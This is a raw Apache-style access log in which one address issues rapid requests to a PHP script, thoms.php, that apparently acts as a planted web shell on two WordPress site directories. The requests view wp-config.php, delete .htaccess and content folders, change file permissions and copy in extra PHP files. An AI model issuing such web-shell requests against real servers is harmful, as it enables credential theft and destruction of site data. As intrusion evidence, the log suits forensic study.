45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flicense.txt&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?p=betcity.com.tw&view=readme.html HTTP/1.1" 200 15232 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?dl=readme.html&p=betcity.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /betcity.com.tw/upgrade/ HTTP/1.1" 200 6651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=betcity.com.tw HTTP/1.1" 200 17339 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?del=wp-comments-post.php&p=betcity.com.tw HTTP/1.1" 200 17350 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?chmod=error_log&p=betcity.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?p=betcity.com.tw&view=thoms.php HTTP/1.1" 200 11807 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?dl=mah.php&p=betcity.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?chmod=thoms.php&p=betcity.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=betcity.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-config.php HTTP/1.1" 200 13723 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-cron.php HTTP/1.1" 200 14174 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13992 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:44 -0400] "GET /thoms.php?dl=wp-activate.php&p=betcity.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=betcity.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?del=wp-blog-header.php&p=betcity.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?dl=wp-load.php&p=betcity.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?chmod=wp-mail.php&p=betcity.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=betcity.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /betcity.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=betcity.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?chmod=wp-includes&p=betcity.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?del=wp-links-opml.php&p=betcity.com.tw HTTP/1.1" 200 17360 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?chmod=wp-settings.php&p=betcity.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-settings.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p= HTTP/1.1" 200 11663 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?chmod=.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /thoms.php?chmod=wp-config.php&p=bestjudy.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /bestjudy.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:45 -0400] "GET /bestjudy.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content&p= HTTP/1.1" 200 11669 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /bestjudy.com.tw/wp-includes/ HTTP/1.1" 200 9185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-trackback.php HTTP/1.1" 200 14094 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?del=xmlrpc.php&p=bestjudy.com.tw HTTP/1.1" 200 17347 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13273 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?del=readme.html&p=bestjudy.com.tw HTTP/1.1" 200 17348 "http://163.245.207.76:443/thoms.php?del=readme.html&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?chmod=wp-load.php&p=bestjudy.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bestjudy.com.tw HTTP/1.1" 200 17348 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?del=cgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 17347 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?del=error_log&p=bestjudy.com.tw HTTP/1.1" 200 17338 "http://163.245.207.76:443/thoms.php?del=error_log&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?dl=mah.php&p=bestjudy.com.tw HTTP/1.1" 200 17348 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:46 -0400] "GET /thoms.php?chmod=readme.html&p=bestjudy.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bestjudy.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13094 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-login.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11677 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /bestjudy.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /bestjudy.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?del=wp-cron.php&p=bestjudy.com.tw HTTP/1.1" 200 17349 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bestjudy.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /bestjudy.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 12585 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 14160 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?del=.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?dl=error_log&p=bestjudy.com.tw HTTP/1.1" 200 17349 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:47 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=license.txt HTTP/1.1" 200 20080 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /bestjudy.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13033 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /thoms.php?dl=wp-cron.php&p=bestjudy.com.tw HTTP/1.1" 200 17347 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /bestjudy.com.tw/wp-links-opml.php HTTP/1.1" 200 216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /thoms.php?dl=wp-load.php&p=bestjudy.com.tw HTTP/1.1" 200 17349 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /thoms.php?dl=wp-login.php&p=bestjudy.com.tw HTTP/1.1" 200 17349 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /thoms.php?del=wp-signup.php&p=bestjudy.com.tw HTTP/1.1" 200 17350 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /bestjudy.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /thoms.php?del=upgrade&p=bestjudy.com.tw HTTP/1.1" 200 17347 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:48 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=readme.html HTTP/1.1" 200 15236 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bestjudy.com.tw HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bestjudy.com.tw HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?del=wp-content&p=bestjudy.com.tw HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?del=wp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?del=wp-settings.php&p=bestjudy.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p= HTTP/1.1" 200 11663 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
